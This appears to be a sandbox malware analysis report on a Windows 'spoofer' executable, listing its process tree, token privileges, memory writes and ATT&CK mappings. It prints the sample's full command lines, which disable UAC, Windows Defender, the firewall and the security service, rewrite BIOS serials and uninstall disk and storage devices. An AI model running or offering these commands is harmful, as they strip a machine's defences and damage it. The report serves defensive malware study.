3600	DevManView.exe
4040	DevManView.exe
4040	DevManView.exe
1072	DevManView.exe
1072	DevManView.exe
3140	DevManView.exe
3140	DevManView.exe
4960	DevManView.exe
4960	DevManView.exe
952	DevManView.exe
952	DevManView.exe
4812	DevManView.exe
4812	DevManView.exe
3960	DevManView.exe
3960	DevManView.exe
3024	DevManView.exe
3024	DevManView.exe
3964	ycyp.exe
3964	ycyp.exe
3964	ycyp.exe
3964	ycyp.exe
2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeRestorePrivilege	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: 33	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeIncBasePriorityPrivilege	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: 33	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeIncBasePriorityPrivilege	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: 33	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeIncBasePriorityPrivilege	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeRestorePrivilege	3164	sg.tmp
Token: 35	3164	sg.tmp
Token: SeSecurityPrivilege	3164	sg.tmp
Token: SeSecurityPrivilege	3164	sg.tmp
Token: SeDebugPrivilege	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: 33	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeIncBasePriorityPrivilege	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeBackupPrivilege	3964	ycyp.exe
Token: SeRestorePrivilege	3964	ycyp.exe
Token: 33	3964	ycyp.exe
Token: SeIncBasePriorityPrivilege	3964	ycyp.exe
Token: 33	3964	ycyp.exe
Token: SeIncBasePriorityPrivilege	3964	ycyp.exe
Token: 33	3964	ycyp.exe
Token: SeIncBasePriorityPrivilege	3964	ycyp.exe
Token: SeRestorePrivilege	5076	sg.tmp
Token: 35	5076	sg.tmp
Token: SeSecurityPrivilege	5076	sg.tmp
Token: SeSecurityPrivilege	5076	sg.tmp
Token: 33	3964	ycyp.exe
Token: SeIncBasePriorityPrivilege	3964	ycyp.exe
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeBackupPrivilege	4828	DevManView.exe
Token: SeRestorePrivilege	4828	DevManView.exe
Token: SeTakeOwnershipPrivilege	4828	DevManView.exe
Token: SeImpersonatePrivilege	4828	DevManView.exe
Token: SeBackupPrivilege	1172	DevManView.exe
Token: SeRestorePrivilege	1172	DevManView.exe
Token: SeTakeOwnershipPrivilege	1172	DevManView.exe
Token: SeImpersonatePrivilege	1172	DevManView.exe
Token: SeBackupPrivilege	3720	DevManView.exe
Token: SeRestorePrivilege	3720	DevManView.exe
Token: SeTakeOwnershipPrivilege	3720	DevManView.exe
Token: SeImpersonatePrivilege	3720	DevManView.exe
Token: SeIncreaseQuotaPrivilege	2896	powershell.exe
Token: SeSecurityPrivilege	2896	powershell.exe
Token: SeTakeOwnershipPrivilege	2896	powershell.exe
Token: SeLoadDriverPrivilege	2896	powershell.exe
Token: SeSystemProfilePrivilege	2896	powershell.exe
Token: SeSystemtimePrivilege	2896	powershell.exe
Token: SeProfSingleProcessPrivilege	2896	powershell.exe
Token: SeIncBasePriorityPrivilege	2896	powershell.exe
Token: SeCreatePagefilePrivilege	2896	powershell.exe
Token: SeBackupPrivilege	2896	powershell.exe
Token: SeRestorePrivilege	2896	powershell.exe
Token: SeShutdownPrivilege	2896	powershell.exe
Token: SeSystemEnvironmentPrivilege	2896	powershell.exe
Token: SeRemoteShutdownPrivilege	2896	powershell.exe
Token: SeUndockPrivilege	2896	powershell.exe
Token: SeManageVolumePrivilege	2896	powershell.exe
Token: 33	2896	powershell.exe
Token: 34	2896	powershell.exe
Token: 35	2896	powershell.exe
Token: 36	2896	powershell.exe
Token: SeBackupPrivilege	2356	DevManView.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2044 wrote to memory of 2340	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	83
PID 2044 wrote to memory of 2340	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	83
PID 2044 wrote to memory of 3164	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	86
PID 2044 wrote to memory of 3164	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	86
PID 2044 wrote to memory of 3164	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	86
PID 2044 wrote to memory of 4176	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	96
PID 2044 wrote to memory of 4176	2044	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	96
PID 4176 wrote to memory of 920	4176	cmd.exe	98
PID 4176 wrote to memory of 920	4176	cmd.exe	98
PID 920 wrote to memory of 2104	920	cmd.exe	100
PID 920 wrote to memory of 2104	920	cmd.exe	100
PID 920 wrote to memory of 400	920	cmd.exe	101
PID 920 wrote to memory of 400	920	cmd.exe	101
PID 920 wrote to memory of 1048	920	cmd.exe	102
PID 920 wrote to memory of 1048	920	cmd.exe	102
PID 920 wrote to memory of 1296	920	cmd.exe	103
PID 920 wrote to memory of 1296	920	cmd.exe	103
PID 920 wrote to memory of 3904	920	cmd.exe	104
PID 920 wrote to memory of 3904	920	cmd.exe	104
PID 3904 wrote to memory of 3160	3904	mshta.exe	105
PID 3904 wrote to memory of 3160	3904	mshta.exe	105
PID 3160 wrote to memory of 4268	3160	cmd.exe	107
PID 3160 wrote to memory of 4268	3160	cmd.exe	107
PID 3160 wrote to memory of 1228	3160	cmd.exe	108
PID 3160 wrote to memory of 1228	3160	cmd.exe	108
PID 3160 wrote to memory of 3244	3160	cmd.exe	109
PID 3160 wrote to memory of 3244	3160	cmd.exe	109
PID 3160 wrote to memory of 2688	3160	cmd.exe	110
PID 3160 wrote to memory of 2688	3160	cmd.exe	110
PID 3160 wrote to memory of 4132	3160	cmd.exe	111
PID 3160 wrote to memory of 4132	3160	cmd.exe	111
PID 4176 wrote to memory of 3600	4176	cmd.exe	112
PID 4176 wrote to memory of 3600	4176	cmd.exe	112
PID 4176 wrote to memory of 1800	4176	cmd.exe	113
PID 4176 wrote to memory of 1800	4176	cmd.exe	113
PID 4176 wrote to memory of 4848	4176	cmd.exe	114
PID 4176 wrote to memory of 4848	4176	cmd.exe	114
PID 4176 wrote to memory of 3140	4176	cmd.exe	115
PID 4176 wrote to memory of 3140	4176	cmd.exe	115
PID 4176 wrote to memory of 1620	4176	cmd.exe	116
PID 4176 wrote to memory of 1620	4176	cmd.exe	116
PID 3160 wrote to memory of 4692	3160	cmd.exe	117
PID 3160 wrote to memory of 4692	3160	cmd.exe	117
PID 4176 wrote to memory of 3964	4176	cmd.exe	118
PID 4176 wrote to memory of 3964	4176	cmd.exe	118
PID 4176 wrote to memory of 3964	4176	cmd.exe	118
PID 3964 wrote to memory of 2700	3964	ycyp.exe	119
PID 3964 wrote to memory of 2700	3964	ycyp.exe	119
PID 3964 wrote to memory of 5076	3964	ycyp.exe	121
PID 3964 wrote to memory of 5076	3964	ycyp.exe	121
PID 3964 wrote to memory of 5076	3964	ycyp.exe	121
PID 3160 wrote to memory of 4792	3160	cmd.exe	123
PID 3160 wrote to memory of 4792	3160	cmd.exe	123
PID 3160 wrote to memory of 2880	3160	cmd.exe	124
PID 3160 wrote to memory of 2880	3160	cmd.exe	124
PID 3160 wrote to memory of 4404	3160	cmd.exe	125
PID 3160 wrote to memory of 4404	3160	cmd.exe	125
PID 3160 wrote to memory of 4976	3160	cmd.exe	126
PID 3160 wrote to memory of 4976	3160	cmd.exe	126
PID 3160 wrote to memory of 1376	3160	cmd.exe	127
PID 3160 wrote to memory of 1376	3160	cmd.exe	127
PID 3160 wrote to memory of 3488	3160	cmd.exe	128
PID 3160 wrote to memory of 3488	3160	cmd.exe	128
PID 3160 wrote to memory of 3228	3160	cmd.exe	129

C:\Users\Admin\AppData\Local\Temp\3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
"C:\Users\Admin\AppData\Local\Temp\3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c set
  2⤵
  PID:2340
- C:\Users\Admin\AppData\Local\Temp\~964741791698063893~\sg.tmp
  7zG_exe x "C:\Users\Admin\AppData\Local\Temp\3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe" -y -aoa -o"C:\Users\Admin\AppData\Local\Temp\~7521672498616200677"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\~7521672498616200677\king.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K yf.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:920
  - - C:\Windows\system32\cacls.exe
      cacls.exe "C:\System Volume Information"
      4⤵
      PID:2104
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
      4⤵
      UAC bypass
      PID:400
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
      4⤵
      UAC bypass
      PID:1048
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
      4⤵
      UAC bypass
      PID:1296
  - - C:\Windows\system32\mshta.exe
      mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c C:\Users\Admin\AppData\Local\Temp\~75216~1\yf.bat ::","","runas",1)(window.close)
      4⤵
      Checks computer location settings
      Access Token Manipulation: Create Process with Token
      Suspicious use of WriteProcessMemory
      PID:3904
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\~75216~1\yf.bat ::
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3160
      - C:\Windows\system32\cacls.exe
        
        cacls.exe "C:\System Volume Information"
        6⤵
        
        PID:4268
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:1228
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:3244
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:2688
      - C:\Windows\system32\netsh.exe
        
        NetSh Advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4132
      - C:\Windows\system32\netsh.exe
        
        Netsh Advfirewall show allprofiles
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4692
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
        6⤵
        
        PID:4792
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /d 1 /t REG_DWORD /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:2880
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /d 1 /t REG_DWORD /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:4404
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /d 1 /t REG_DWORD /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:4976
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1376
      - C:\Windows\system32\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /d 4 /t REG_DWORD /f
        6⤵
        Modifies Security services
        
        PID:3488
      - C:\Windows\system32\rundll32.exe
        
        RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
        6⤵
        
        PID:3228
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Disable-NetAdapterBinding -Name '╥╘╠½═°' -ComponentID ms_tcpip6"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2896
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Disable-NetAdapterBinding -Name 'WLAN' -ComponentID ms_tcpip6"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1164
      - C:\Windows\system32\pnputil.exe
        
        pnputil /disable-device "SWD\MSRRAS\MS_NDISWANIP"
        6⤵
        
        PID:3556
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:2680
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:3656
      - C:\Windows\system32\reg.exe
        
        reg.exe ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        UAC bypass
        
        PID:1296
- - C:\Users\Admin\AppData\Local\Temp\~7521672498616200677\AMIDEWINx64.EXE
    AMIDEWINx64.EXE /SS "Copyright @2025 by [qq214688451] All Rights Reserved 1784"
    3⤵
    - Executes dropped EXE
    PID:3600
- - C:\Users\Admin\AppData\Local\Temp\~7521672498616200677\AMIDEWINx64.EXE
    AMIDEWINx64.EXE /BS "Vx:Lockedyou_Spoofer_yyds_19458"
    3⤵
    - Executes dropped EXE
    PID:1800
- - C:\Users\Admin\AppData\Local\Temp\~7521672498616200677\AMIDEWINx64.EXE
    AMIDEWINx64.EXE /SU AUTO
    3⤵
    - Executes dropped EXE
    PID:4848
- - C:\Users\Admin\AppData\Local\Temp\~7521672498616200677\AMIDEWINx64.EXE
    AMIDEWINx64.EXE /CS "wMDaK3y29703"
    3⤵
    - Executes dropped EXE
    PID:3140
- - C:\Users\Admin\AppData\Local\Temp\~7521672498616200677\AMIDEWINx64.EXE
    AMIDEWINx64.EXE /PSN Vx:Lockedyou_Spoofer_wMDaK3y
    3⤵
    - Executes dropped EXE
    PID:1620
- - C:\Users\Admin\AppData\Local\Temp\~7521672498616200677\ycyp.exe
    ycyp.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c set
      4⤵
      PID:2700
  - - C:\Users\Admin\AppData\Local\Temp\~8134880775663637542~\sg.tmp
      7zG_exe x "C:\Users\Admin\AppData\Local\Temp\~7521672498616200677\ycyp.exe" -y -aoa -o"C:\Users\Admin\AppData\Local\Temp\~4401787965904539981" -p123321
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\SN910.bat" "
      4⤵
      PID:2280
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "WAN Miniport*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4828
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "Disk drive*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1172
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "C:\"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3720
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "D:\"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2356
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "E:\"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:1464
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "F:\"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:3260
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "G:\"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:4600
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "Disk"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:3600
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "disk"
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:4040
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "Disk&*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:1072
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "SWD\WPDBUSENUM*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:3140
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "USBSTOR*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:4960
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "SCSI\Disk*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Drops file in Windows directory
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:952
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "STORAGE*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Drops file in Windows directory
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:4812
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "DISPLAY*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Drops file in Windows directory
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:3960
    - - C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\DevManView.exe
        
        DevManView.exe /uninstall "WAN Miniport*" /use_wildcard""
        5⤵
        Executes dropped EXE
        Enumerates connected drives
        Maps connected drives based on registry
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:3024
    - - C:\Windows\system32\powercfg.exe
        
        powercfg -h off
        5⤵
        Power Settings
        
        PID:2880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\~4401787965904539981\js.bat""
      4⤵
      PID:2092
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /h off
        5⤵
        Power Settings
        
        PID:4316
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM WmiPrvSE.exe
        5⤵
        Kills process with taskkill
        
        PID:4860
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM WmiPrvSE.exe
        5⤵
        Kills process with taskkill
        
        PID:3928
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM WmiPrvSE.exe
        5⤵
        Kills process with taskkill
        
        PID:1884
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM WmiPrvSE.exe
        5⤵
        Kills process with taskkill
        
        PID:3488
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im MsSvr.exe /T
        5⤵
        Kills process with taskkill
        
        PID:4952
  - - C:\Users\Admin\AppData\Local\Temp\~7521672498616200677\ycyp.exe
      PECMD**pecmd-cmd* EXEC -wd:C: -hide cmd /c "C:\Users\Admin\AppData\Local\Temp\~1118547734700175587.cmd"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:896
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\~1118547734700175587.cmd"
        5⤵
        
        PID:540
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM WmiPrvSE.exe
    3⤵
    - Kills process with taskkill
    PID:1668
- C:\Users\Admin\AppData\Local\Temp\3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
  PECMD**pecmd-cmd* EXEC -wd:C: -hide cmd /c "C:\Users\Admin\AppData\Local\Temp\~7482061927257159908.cmd"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2640
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\~7482061927257159908.cmd"
    3⤵
    PID:3892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Power Settings

T1653

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery